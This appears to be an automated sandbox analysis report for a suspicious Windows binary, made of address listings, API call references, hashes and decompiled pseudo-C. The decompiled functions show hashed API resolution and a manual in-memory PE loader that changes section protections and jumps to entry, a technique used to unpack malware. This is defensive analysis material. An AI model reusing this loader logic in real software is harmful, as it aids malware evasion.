0x6f3f08fe
0x6f3f0904
0x6f3f090b
0x6f3f090d
0x6f3f0d05
0x6f3f0d16
0x6f3f0d1b
0x6f3f0d1d
0x6f3f0d1f
0x6f3f0e50
0x6f3f0e54
0x00000000
0x6f3f0d25
0x6f3f0d2b
0x6f3f0d50
0x6f3f0d52
0x6f3f0d54
0x6f3f0e6c
0x6f3f0e71
0x6f3f0e73
0x00000000
0x6f3f0e75
0x00000000
0x6f3f0e75
0x6f3f0d5a
0x6f3f0d5a
0x6f3f0d65
0x6f3f0d6c
0x6f3f0d73
0x6f3f0d7a
0x6f3f0d7b
0x6f3f0d7c
0x6f3f0d8e
0x6f3f0d90
0x6f3f0d92
0x00000000
0x6f3f0d98
0x6f3f0d9a
0x6f3f0db5
0x6f3f0db7
0x6f3f0db9
0x6f3f0e5e
0x6f3f0e63
0x6f3f0e65
0x00000000
0x6f3f0e67
0x00000000
0x6f3f0e67
0x6f3f0dbf
0x6f3f0dbf
0x6f3f0dbf
0x6f3f0dc6
0x6f3f0dca
0x6f3f0e35
0x6f3f0e35
0x6f3f0e37
0x6f3f0e3e
0x6f3f0e3e
0x6f3f0e39
0x6f3f0e39
0x6f3f0e3c
0x6f3f0e42
0x6f3f0e42
0x00000000
0x00000000
0x00000000
0x6f3f0e3c
0x6f3f0e44
0x6f3f0e46
0x6f3f0e4b
0x6f3f0e4b
0x00000000
0x6f3f0dcc
0x6f3f0dcc
0x6f3f0dcc
0x6f3f0dce
0x6f3f0dda
0x6f3f0ddf
0x6f3f0de1
0x00000000
0x00000000
0x6f3f0e2f
0x6f3f0e30
0x6f3f0e33
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f3f0e33
0x6f3f0de3
0x6f3f0de7
0x6f3f0dee
0x6f3f0def
0x6f3f0def
0x6f3f0dca
0x6f3f0db9
0x6f3f0d92
0x6f3f0d54
0x6f3f0913
0x6f3f0913
0x6f3f0913
0x6f3f0918
0x6f3f091e
0x6f3f091e
0x00000000
0x6f3f0918
0x6f3f090d
0x6f3f08ad
0x6f3f082b
0x6f3f082b
0x6f3f082c
0x6f3f082d
0x6f3f082d
0x6f3f0ceb
0x6f3f0ceb
0x6f3f0cf5
0x6f3f0cf5
0x00000000

APIs

GetTokenInformation.KERNELBASE(?,00000002,00000000,00000000,00000000,D0443458,D0443458), ref: 6F3F08FA
GetSystemInfo.KERNELBASE(?,4BCC7CBA,4BCC7CBA,?,?,F3453DD0,?,?,DB1D9B48,?,?,05411B30,00000000,80000002,00000000,-000000FC), ref: 6F3F0CBC
GetTokenInformation.KERNELBASE(?,00000002,00000000,00000000,00000000,00000000,D0443458,D0443458,00000000,D0443458,D0443458), ref: 6F3F0D50

Memory Dump Source

Source File: 00000002.00000002.470542364.000000006F3E1000.00000020.00020000.sdmp, Offset: 6F3E0000, based on PE: true

Associated: 00000002.00000002.470524369.000000006F3E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470634843.000000006F3FA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470649269.000000006F3FD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470660135.000000006F3FF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InformationToken$InfoSystem
String ID:
API String ID: 298373132-0
Opcode ID: 7b30778da853d88c84022a33059961db59b06c5b601fa1f037c1efd6954e845f
Instruction ID: 5155a927e46138044c70e6e594cb6062c79b67bf5116f76289f1a08effe648e9
Opcode Fuzzy Hash: 7b30778da853d88c84022a33059961db59b06c5b601fa1f037c1efd6954e845f
Instruction Fuzzy Hash: A822F5B060A341AFEB20DB38C940BEF77A9AF91318F10991EE4D55B2D1DB71E846C752

Uniqueness

Uniqueness Score: -1.00%

Function 6F3F218C, Relevance: 1.5, APIs: 1, Instructions: 30
nativeCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E6F3F218C(void* __ecx, intOrPtr __edx, void* __esi) {
				intOrPtr _v4;
				intOrPtr _v20;
				intOrPtr* _t5;
				intOrPtr _t11;
				intOrPtr* _t13;
				intOrPtr* _t15;

				_t11 = __edx;
				if(__ecx == 0) {
					 *_t15 = 0;
					_v4 = 0;
				} else {
					 *_t15 = E6F3F3A34(0xffffd8f0, 0xffffffff, __ecx, 0);
					_v20 = _t11;
				}
				_t5 = E6F3F2F94(0xa5eabdf8, 0xd48281c0, 0xa5eabdf8, 0xa5eabdf8);
				_t13 = _t5;
				if(_t13 != 0) {
					_t5 =  *_t13(0, _t15); // executed
				}
				return _t5;
			}

0x6f3f218c
0x6f3f2190
0x6f3f21ac
0x6f3f21af
0x6f3f2192
0x6f3f21a1
0x6f3f21a4
0x6f3f21a4
0x6f3f21bf
0x6f3f21c4
0x6f3f21c8
0x6f3f21d0
0x6f3f21d0
0x6f3f21d4

APIs

NtDelayExecution.NTDLL(00000000,00000000,A5EABDF8,A5EABDF8,FFFFFFFF,FFFFFFFF,6F3E35C3,00000000,00000000,?), ref: 6F3F21D0

Memory Dump Source

Source File: 00000002.00000002.470542364.000000006F3E1000.00000020.00020000.sdmp, Offset: 6F3E0000, based on PE: true

Associated: 00000002.00000002.470524369.000000006F3E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470634843.000000006F3FA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470649269.000000006F3FD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470660135.000000006F3FF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: DelayExecution
String ID:
API String ID: 1249177460-0
Opcode ID: e340f986def6f26baa2f9c03e956c8e364c5e46def001a9482b730e7c6c19888
Instruction ID: 24feded3458abac4c3c49e09c73cccfdd63cabb88805a0a3e47c0e8c6ceae959
Opcode Fuzzy Hash: e340f986def6f26baa2f9c03e956c8e364c5e46def001a9482b730e7c6c19888
Instruction Fuzzy Hash: D4E09BB050F341EEFB4497394E01B2B7AD89F90211F60862DB594D62C4E631D4028726

Uniqueness

Uniqueness Score: -1.00%

Function 6F3F2790, Relevance: 1.5, APIs: 1, Instructions: 29
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6F3F2790(void* __ecx, long __edx, void* __esi, long _a4, long _a8, void* _a12) {
				long _v4;
				void* _t8;
				long _t10;
				PVOID* _t19;

				_v4 = __edx;
				 *_t19 = __ecx;
				if(E6F3F2F94(0xa5eabdf8, 0xc15ccc53, 0xa5eabdf8, 0xa5eabdf8) == 0) {
					L3:
					_t8 =  *_t19;
				} else {
					_t10 = NtAllocateVirtualMemory(_a12, _t19, 0,  &_v4, _a4, _a8); // executed
					if(_t10 == 0) {
						goto L3;
					} else {
						_t8 = 0;
					}
				}
				return _t8;
			}

0x6f3f2797
0x6f3f27a0
0x6f3f27ae
0x6f3f27d1
0x6f3f27d1
0x6f3f27b0
0x6f3f27c7
0x6f3f27cb
0x00000000
0x6f3f27cd
0x6f3f27cd
0x6f3f27cd
0x6f3f27cb
0x6f3f27d6

APIs

NtAllocateVirtualMemory.NTDLL(A5EABDF8,?,00000000,22DC1034,00000004,00000004,A5EABDF8,A5EABDF8,?,?,6F3F8852,00003000,00000004,000000FF,A5EABDF8,22DC1034), ref: 6F3F27C7

Memory Dump Source

Source File: 00000002.00000002.470542364.000000006F3E1000.00000020.00020000.sdmp, Offset: 6F3E0000, based on PE: true

Associated: 00000002.00000002.470524369.000000006F3E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470634843.000000006F3FA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470649269.000000006F3FD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470660135.000000006F3FF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: fcb83ea506db4d533a488a570b7e2b2bbaaaa8a6521a140e351edaccfb331de1
Instruction ID: a4c5ced489a29acb8c10dcf76fa5d71b056404d3d0fd541b9e9dc0155a3ce7e3
Opcode Fuzzy Hash: fcb83ea506db4d533a488a570b7e2b2bbaaaa8a6521a140e351edaccfb331de1
Instruction Fuzzy Hash: F1E0397120E382EFEB09CA29CD14E6FBBEDEF89210F508C1DB4A4C6550E771D8459722

Uniqueness

Uniqueness Score: -1.00%

Function 6F3F3060, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E6F3F3060(intOrPtr* __ecx) {
				void* _t1;

				_push(E6F3F33D8);
				_push(1); // executed
				_t1 =  *__ecx(); // executed
				return _t1;
			}

0x6f3f3060
0x6f3f3065
0x6f3f3067
0x6f3f3069

APIs

RtlAddVectoredExceptionHandler.NTDLL(00000001,6F3F33D8,6F3F3050,A5EABDF8,A5EABDF8,?,6F3E2530,00000001), ref: 6F3F3067

Memory Dump Source

Source File: 00000002.00000002.470542364.000000006F3E1000.00000020.00020000.sdmp, Offset: 6F3E0000, based on PE: true

Associated: 00000002.00000002.470524369.000000006F3E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470634843.000000006F3FA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470649269.000000006F3FD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470660135.000000006F3FF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExceptionHandlerVectored
String ID:
API String ID: 3310709589-0
Opcode ID: 6486e348817e452705a254a594f2b17b62ecde07894435609c04a36639e052fc
Instruction ID: ab1462b069b3e723cfa26dc8d43f8558b282cfcdc17ab64d15620197ddc96a8f
Opcode Fuzzy Hash: 6486e348817e452705a254a594f2b17b62ecde07894435609c04a36639e052fc
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 029F23FD, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 230
memoryCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E029F23FD(long __ebx, long __edi, void* __esi, intOrPtr* _a4) {
				char _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr* _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				void* _v68;
				char* _v72;
				int _v76;
				long _v80;
				long _v84;
				DWORD* _v88;
				intOrPtr _v92;
				int _v96;
				intOrPtr* _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				void* _v124;
				char* _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				signed int _v156;
				signed int _v160;
				intOrPtr _v164;
				int _v168;
				intOrPtr _v172;
				char* _v176;
				intOrPtr _v180;
				intOrPtr _v184;
				char _v188;
				intOrPtr* _t140;
				int _t146;
				int _t154;
				int _t158;
				intOrPtr _t173;
				int _t185;
				unsigned int _t201;
				void* _t235;
				intOrPtr _t238;
				intOrPtr _t243;
				void* _t245;
				intOrPtr* _t249;
				intOrPtr _t256;
				DWORD* _t270;
				void* _t274;
				intOrPtr* _t277;
				intOrPtr* _t278;

				_t140 = _a4;
				_v20 = 0;
				_t245 =  *((intOrPtr*)(_t140 + 8));
				 *0x29f4418 = 1;
				asm("movaps xmm0, [0x29f3010]");
				asm("movups [0x29f4428], xmm0");
				_v48 = _t140;
				_v52 =  *((intOrPtr*)(_t140 + 0x40));
				_v56 =  *((intOrPtr*)(_v48 + 0x60));
				_v188 = _t245;
				_v184 =  *((intOrPtr*)(_t140 + 0x54));
				_v180 = 4;
				_v176 =  &_v20;
				_v60 =  *((intOrPtr*)(_v48 + 0x58));
				_v64 = 4;
				_v68 = _t245;
				_v72 =  &_v20;
				_t146 = VirtualProtect(__esi, __edi, __ebx, _t270); // executed
				_v76 = _t146;
				_v188 = _v68;
				_v184 = 0;
				_v180 =  *((intOrPtr*)(_v48 + 0x54));
				_v80 = 0x400;
				_v84 = 2;
				_v88 =  &_v20;
				_v92 = 0;
				E029F2077();
				E029F1000(_v68,  *((intOrPtr*)(_v48 + 0x50)), _v56);
				E029F2077( *((intOrPtr*)(_v48 + 0x50)), 0, _v56);
				_t154 = VirtualProtect(_v68, 0x400, 2, _v88); // executed
				_t277 = _t274 - 0x8c;
				_t235 = _v68;
				_t256 =  *((intOrPtr*)(_t235 + 0x3c));
				_v96 = _t154;
				_v100 = _v68 + 0x3c;
				_v104 = _t235;
				_v108 = _t256;
				if(_t256 != 0) {
					_v104 = _v68 + (_v108 + 0x0000ffff & 0x0000ffff) + 1;
				}
				_v172 = _v104;
				if(_v60 != 0) {
					_v148 = 0;
					_v144 = _v172 + 0x18 + ( *(_v172 + 0x14) & 0x0000ffff);
					while(1) {
						_t173 = _v144;
						_t201 =  *(_t173 + 0x24);
						_v152 = _t173;
						_v156 = _t201 >> 0x0000001e & 0x00000001;
						_v160 = _t201 >> 0x1f;
						_v188 = _v68 +  *((intOrPtr*)(_v152 + 0xc));
						_v184 =  *((intOrPtr*)(_t173 + 8));
						_v180 =  *((intOrPtr*)(0x29f4418 + (_v156 << 4) + (_v160 << 3) + ((_t201 >> 0x0000001d & 0x00000001) << 2)));
						_v176 =  &_v20;
						_v164 = _v148;
						_t185 = VirtualProtect(??, ??, ??, ??); // executed
						_t277 = _t277 - 0x10;
						_t243 = _v164 + 1;
						_v168 = _t185;
						_v148 = _t243;
						_v144 = _v152 + 0x28;
						if(_t243 == _v60) {
							goto L2;
						}
					}
				}
				L2:
				 *_t277 = _v68;
				_v112 = _v68 +  *((intOrPtr*)(_v48 + 0x3c));
				_t158 = DisableThreadLibraryCalls(??);
				_t278 = _t277 - 4;
				_t238 =  *_v100;
				_v116 = _t158;
				_v120 = _t238;
				_v124 = _v68;
				if(_t238 != 0) {
					_v124 = _v68 + (_v120 + 0x0000ffff & 0x0000ffff) + 1;
				}
				_t249 = _v48;
				_v44 =  *((intOrPtr*)(_t249 + 0x20));
				_v40 =  *((intOrPtr*)(_t249 + 0x38));
				_v36 =  *_t249;
				_v32 =  *((intOrPtr*)(_t249 + 0x4c));
				_v28 =  *((intOrPtr*)(_t249 + 0x24));
				_v24 = _v112;
				 *_t278 = _t249;
				_v188 = 0;
				_v184 = 0x64;
				_v128 =  &_v44;
				_v132 = 0;
				_v136 = 0x64;
				_v140 =  *((intOrPtr*)(_v124 + 0x28));
				E029F2077();
				if(_v140 != 0) {
					_t277 =  *((intOrPtr*)( &_v44 + 0x10));
					goto __eax;
				}
				return 1;
			}

0x029f2409
0x029f2417
0x029f241e
0x029f2421
0x029f242b
0x029f2432
0x029f243c
0x029f2442
0x029f244b
0x029f2454
0x029f2457
0x029f245b
0x029f2463
0x029f246a
0x029f246d
0x029f2470
0x029f2473
0x029f2476
0x029f2490
0x029f2496
0x029f2499
0x029f24a1
0x029f24a5
0x029f24a8
0x029f24ab
0x029f24ae
0x029f24b1
0x029f24cd
0x029f24ea
0x029f250f
0x029f2511
0x029f251a
0x029f251d
0x029f2527
0x029f252a
0x029f252d
0x029f2530
0x029f2533
0x029f261d
0x029f261d
0x029f274e
0x029f2754
0x029f26f6
0x029f26fc
0x029f2625
0x029f2625
0x029f263d
0x029f2640
0x029f264e
0x029f265f
0x029f268e
0x029f2691
0x029f2695
0x029f2699
0x029f26a0
0x029f26a6
0x029f26a8
0x029f26ba
0x029f26c2
0x029f26c8
0x029f26ce
0x029f26d4
0x00000000
0x00000000
0x029f26da
0x029f2625
0x029f253e
0x029f254c
0x029f2554
0x029f2557
0x029f2559
0x029f255f
0x029f256b
0x029f256e
0x029f2571
0x029f2574
0x029f271c
0x029f271c
0x029f258a
0x029f2590
0x029f2596
0x029f259b
0x029f25a1
0x029f25a7
0x029f25ad
0x029f25b0
0x029f25b3
0x029f25bb
0x029f25c3
0x029f25c6
0x029f25c9
0x029f25cf
0x029f25d5
0x029f25e3
0x029f2732
0x029f2738
0x029f2738
0x029f2602

APIs

VirtualProtect.KERNELBASE ref: 029F2476
VirtualProtect.KERNELBASE ref: 029F250F
VirtualProtect.KERNELBASE ref: 029F26A6

Strings

d, xrefs: 029F25BB

Memory Dump Source

Source File: 00000002.00000002.467520904.00000000029F0000.00000040.00000001.sdmp, Offset: 029F0000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID: d
API String ID: 544645111-2564639436
Opcode ID: f66b4a5d9e26bbc468ed4cc7d12cd6e8d02b441f625e176a8ac657736e0e95d7
Instruction ID: 988256dbdcc72c467ea5774f80d7fdc9a81954e7c80890cb9cc95fdff7a3e67a
Opcode Fuzzy Hash: f66b4a5d9e26bbc468ed4cc7d12cd6e8d02b441f625e176a8ac657736e0e95d7
Instruction Fuzzy Hash: 1AB1ACB5E042288FDB54CF58C880A9DFBF1FF88304F1585AADA58AB351D734A985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6F3F5DF0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6F3F5DF0(void* __ecx, void* __eflags, void* _a4, char _a8) {
				long _v12;
				void* __esi;
				long _t9;
				long _t10;
				int _t12;
				void* _t18;
				void** _t19;
				DWORD* _t20;

				_t18 = __ecx;
				_t19 = __ecx + 0xc;
				if(E6F3EC33C(_t19) == 0) {
					_t2 =  &_a8; // 0x6f3f5ce5
					_v12 =  *_t2;
					if(E6F3F2F8C(0x4bcc7cba, 0x2876e068) == 0) {
						_t9 = 0x7f;
					} else {
						_t12 = ReadFile( *_t19, _a4, _v12, _t20, 0); // executed
						if(_t12 == 0) {
							_t9 = E6F3F352C(_t18);
						} else {
							_t9 = 0;
						}
					}
					 *((intOrPtr*)(_t18 + 8)) = _t9;
					if(_t9 == 0) {
						_t10 = _v12;
					} else {
						_t10 = 0;
						_v12 = 0;
					}
				} else {
					_t10 = 0;
				}
				return _t10;
			}

0x6f3f5df3
0x6f3f5df5
0x6f3f5e01
0x6f3f5e07
0x6f3f5e0b
0x6f3f5e21
0x6f3f5e40
0x6f3f5e23
0x6f3f5e34
0x6f3f5e38
0x6f3f5e58
0x6f3f5e3a
0x6f3f5e3a
0x6f3f5e3a
0x6f3f5e38
0x6f3f5e41
0x6f3f5e46
0x6f3f5e4f
0x6f3f5e48
0x6f3f5e48
0x6f3f5e4a
0x6f3f5e4a
0x6f3f5e03
0x6f3f5e03
0x6f3f5e03
0x6f3f5e55

APIs

ReadFile.KERNELBASE(?,?,00000000,00000000,00000000,4BCC7CBA,2876E068,?,?,?,6F3F5CE5,00000000,?,00000000,?), ref: 6F3F5E34

Strings

\?o, xrefs: 6F3F5E07

Memory Dump Source

Source File: 00000002.00000002.470542364.000000006F3E1000.00000020.00020000.sdmp, Offset: 6F3E0000, based on PE: true

Associated: 00000002.00000002.470524369.000000006F3E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470634843.000000006F3FA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470649269.000000006F3FD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470660135.000000006F3FF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileRead
String ID: \?o
API String ID: 2738559852-3408560215
Opcode ID: 6762ad9e688c98861c5b697065b5bdf6121a2abcf83bb2bb4119fe35680c4d3b
Instruction ID: d0e5e7b47534cab1e92def705b425317c8c7636cbfb7ddee24950f04efbbd508
Opcode Fuzzy Hash: 6762ad9e688c98861c5b697065b5bdf6121a2abcf83bb2bb4119fe35680c4d3b
Instruction Fuzzy Hash: FEF0493124A716AED7919F3CCE40EDB77D5AF75250F10C93AA8EAD6250DB32E4068731

Uniqueness

Uniqueness Score: -1.00%

Function 6F3F1140, Relevance: 3.1, APIs: 2, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E6F3F1140(void* __ecx, void* __edi, void* __esi) {
				long _v12;
				void* _v20;
				void* _v24;
				char _v32;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				void* _v56;
				void* _v64;
				int _t31;
				void* _t33;
				long* _t39;
				intOrPtr* _t46;
				void* _t54;
				void* _t56;
				void* _t58;
				long* _t59;

				_t59 = _t58 - 0x20;
				_t56 = __ecx;
				_v12 = 0;
				_t46 = E6F3F2F94(0xd0443458, 0xd8ece5ad, 0xd0443458, 0xd0443458);
				if(_t46 != 0) {
					 *_t46(_t56, 8,  &_v12);
				}
				_t39 = _t59;
				 *_t39 = _v12;
				_t39[1] = 1;
				if(E6F3EC33C(_t39) != 0) {
					L6:
					if(_t59[1] != 0) {
						E6F3EBC00(_t59);
					}
					return 0;
				} else {
					_t59[6] = 0;
					if(E6F3F2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458) != 0) {
						GetTokenInformation(_v40, 0x19, 0, 0,  &(_t59[6])); // executed
					}
					_t24 = _t59[6];
					if(_t59[6] != 0) {
						E6F3EF620( &_v32, _t24);
						_t54 = E6F3EF558( &(_t59[3]), 0);
						if(E6F3F2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458) == 0) {
							L14:
							E6F3EF6F0( &_v32);
							goto L6;
						} else {
							_t31 = GetTokenInformation(_v40, 0x19, _t54, _t59[7],  &(_t59[6])); // executed
							if(_t31 == 0) {
								goto L14;
							} else {
								_t33 = E6F3F2F94(0xd0443458, 0x57bf3274, 0xd0443458, 0xd0443458);
								if(_t33 == 0) {
									goto L14;
								} else {
									_push( *_t54);
									asm("int3");
									return _t33;
								}
							}
						}
					} else {
						goto L6;
					}
				}
			}

0x6f3f1142
0x6f3f114f
0x6f3f1151
0x6f3f1160
0x6f3f1164
0x6f3f116e
0x6f3f116e
0x6f3f1174
0x6f3f1177
0x6f3f1179
0x6f3f1184
0x6f3f11be
0x6f3f11c3
0x6f3f11c8
0x6f3f11c8
0x6f3f11d4
0x6f3f1186
0x6f3f1190
0x6f3f11a3
0x6f3f11b4
0x6f3f11b4
0x6f3f11b6
0x6f3f11bc
0x6f3f11da
0x6f3f11ea
0x6f3f1201
0x6f3f12e3
0x6f3f12e7
0x00000000
0x6f3f1207
0x6f3f1217
0x6f3f121b
0x00000000
0x6f3f1221
0x6f3f122d
0x6f3f1234
0x00000000
0x6f3f123a
0x6f3f123a
0x6f3f123c
0x6f3f123d
0x6f3f123d
0x6f3f1234
0x6f3f121b
0x00000000
0x00000000
0x00000000
0x6f3f11bc

APIs

GetTokenInformation.KERNELBASE(?,00000019,00000000,00000000,00000000,D0443458,D0443458,D0443458,D0443458), ref: 6F3F11B4
GetTokenInformation.KERNELBASE(?,00000019,00000000,00000000,00000000,D0443458,D0443458,00000000,00000000,D0443458,D0443458,D0443458,D0443458), ref: 6F3F1217

Memory Dump Source

Source File: 00000002.00000002.470542364.000000006F3E1000.00000020.00020000.sdmp, Offset: 6F3E0000, based on PE: true

Associated: 00000002.00000002.470524369.000000006F3E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470634843.000000006F3FA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470649269.000000006F3FD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470660135.000000006F3FF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 7233e0464975bed0b387e02181c5ba269ca55134ac212cebc4faec61c86edccf
Instruction ID: 613b5a2156673cfdaf9a86c89fe4d0fbbfd2a742f593ee232b5ef56de6ad282f
Opcode Fuzzy Hash: 7233e0464975bed0b387e02181c5ba269ca55134ac212cebc4faec61c86edccf
Instruction Fuzzy Hash: 5421A0B0A093467FFB05EA699C00FAB77ED9FD5204F10C829B490D6290EF75D80AC761

Uniqueness

Uniqueness Score: -1.00%

Function 6F3F5720, Relevance: 3.1, APIs: 2, Instructions: 74
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E6F3F5720(void* __ecx, char* _a4, intOrPtr _a8) {
				int _v16;
				int _v20;
				intOrPtr _t11;
				int* _t12;
				int _t13;
				void* _t23;
				char* _t35;
				int* _t38;

				_push(_t34);
				_t23 = __ecx;
				_t11 =  *((intOrPtr*)(__ecx + 4));
				if(_t11 == 0 || _t11 == 0xffffffff) {
					_t12 = 1;
				} else {
					_t12 = 0;
				}
				if(_t12 != 0) {
					L10:
					_t13 = 0;
				} else {
					_t35 = _a4;
					if(_t35 == 0 ||  *_t35 != 0) {
						_v20 = 0;
						_v16 = 0;
						if(E6F3F2F8C(0xd0443458, 0x91134e46) != 0) {
							RegQueryValueExA( *(_t23 + 4), _t35, 0, _t38, 0,  &_v16); // executed
						}
						_t15 = _v16;
						if(_v16 != 0) {
							E6F3EF8C4(_a8, _t15);
							if(E6F3F2F8C(0xd0443458, 0x91134e46) != 0) {
								RegQueryValueExA( *(_t23 + 4), _t35, 0, _t38, E6F3EF558(_a8, 0),  &_v20); // executed
							}
							_t13 = _v20;
						} else {
							goto L10;
						}
					} else {
						goto L10;
					}
				}
				return _t13;
			}

0x6f3f5724
0x6f3f5725
0x6f3f5727
0x6f3f572c
0x6f3f5733
0x6f3f5737
0x6f3f5737
0x6f3f5737
0x6f3f573b
0x6f3f5781
0x6f3f5781
0x6f3f573d
0x6f3f573d
0x6f3f5743
0x6f3f574c
0x6f3f574f
0x6f3f5766
0x6f3f5777
0x6f3f5777
0x6f3f5779
0x6f3f577f
0x6f3f578a
0x6f3f57a2
0x6f3f57c2
0x6f3f57c2
0x6f3f57c4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f3f5743
0x6f3f57cc

APIs

RegQueryValueExA.KERNELBASE(?,6F3FD1F8,00000000,?,00000000,00000000,?,?,?,6F3FD1F8,?,6F3F57F3,?,00000000,00000000), ref: 6F3F5777
RegQueryValueExA.KERNELBASE(?,6F3FD1F8,00000000,?,00000000,00000000,00000000,00000000,?,?,?,6F3FD1F8,?,6F3F57F3,?,00000000), ref: 6F3F57C2

Memory Dump Source

Source File: 00000002.00000002.470542364.000000006F3E1000.00000020.00020000.sdmp, Offset: 6F3E0000, based on PE: true

Associated: 00000002.00000002.470524369.000000006F3E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470634843.000000006F3FA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470649269.000000006F3FD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470660135.000000006F3FF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 7d0dcf7e8ff1ed4daad01622fcf704d64fcd41feb03c036122353a5e5619fea0
Instruction ID: 8eee01df34b15382288d4042c6467beb64b071a8601f789c601b3ad7891bb09b
Opcode Fuzzy Hash: 7d0dcf7e8ff1ed4daad01622fcf704d64fcd41feb03c036122353a5e5619fea0
Instruction Fuzzy Hash: 9D11B17120E305FFEA519E29DD80EABB7DCDF91768F00851EB48897180DA61E8069771

Uniqueness

Uniqueness Score: -1.00%

Function 6F3F5AA8, Relevance: 1.6, APIs: 1, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E6F3F5AA8(WCHAR** __ecx, void* __edx, intOrPtr _a4, long _a8, long _a12) {
				char _v24;
				void* __esi;
				void* _t16;
				void* _t21;
				void* _t24;
				void* _t29;
				long _t37;
				void* _t38;
				long _t39;
				WCHAR** _t40;
				intOrPtr* _t56;
				WCHAR** _t58;
				char* _t64;
				void* _t65;
				long _t66;

				_push(0);
				_push(_t62);
				_t66 = _t65 - 0x10;
				_t58 = __ecx;
				_t37 = _a8;
				if(E6F3ED288(__ecx, 0x2f) != 0) {
					_t62 = _t66;
					E6F3ED78C(__ecx, _t66);
					E6F3ED0B4(_t58,  *_t66);
					E6F3ED098(_t66);
				}
				if(_t37 == 0) {
					_t70 = _a4 - 1;
					if(_a4 != 1) {
						__eflags = _a4 - 4;
						_t37 = (0 | _a4 == 0x00000004) + 2;
						__eflags = _t37;
					} else {
						_t37 = 1;
					}
				}
				E6F3F621C(_t70);
				if(_a4 <= 5) {
					goto __eax;
				}
				_t62 = 0;
				if(_t37 != 2) {
					_t16 = 3;
					__eflags = _t37 - 1;
					_t38 = 0;
					_t39 =  ==  ? _t16 : _t38;
				} else {
					_t39 = 1;
				}
				if(E6F3F2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t29 = CreateFileW( *_t58, 0, _t39, 0, _t62, _a12, 0); // executed
					_push(_t29);
				}
				_t40 =  &(_t58[3]);
				E6F3EC328(_t40);
				if(E6F3EC33C(_t40) != 0) {
					_t58[2] = E6F3F352C(0);
					_t21 = 0;
					goto L19;
				} else {
					if(_a4 == 2) {
						_t56 = E6F3F2F8C(0x4bcc7cba, 0xceed09cc);
						__eflags = _t56;
						if(_t56 != 0) {
							 *_t56( *_t40, 0, 0, 2);
						}
					}
					_t64 =  &_v24;
					E6F3F35D4(_t64, 0xff, 8);
					_t66 = _t66 + 0xc;
					_t24 = E6F3F2F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t24 == 0) {
						_t21 = 1;
						__eflags = 1;
						L19:
						return _t21;
					} else {
						_push(_t64);
						_push(_t64);
						_push(0);
						_push( *_t40);
						asm("int3");
						return _t24;
					}
				}
			}

0x6f3f5aa8
0x6f3f5aab
0x6f3f5aac
0x6f3f5aaf
0x6f3f5ab1
0x6f3f5abe
0x6f3f5ac2
0x6f3f5ac6
0x6f3f5ad0
0x6f3f5ad7
0x6f3f5ad7
0x6f3f5ade
0x6f3f5ae0
0x6f3f5ae5
0x6f3f5aee
0x6f3f5af6
0x6f3f5af6
0x6f3f5ae7
0x6f3f5ae9
0x6f3f5ae9
0x6f3f5ae5
0x6f3f5afb
0x6f3f5b07
0x6f3f5b1d
0x6f3f5b1d
0x6f3f5c38
0x6f3f5b75
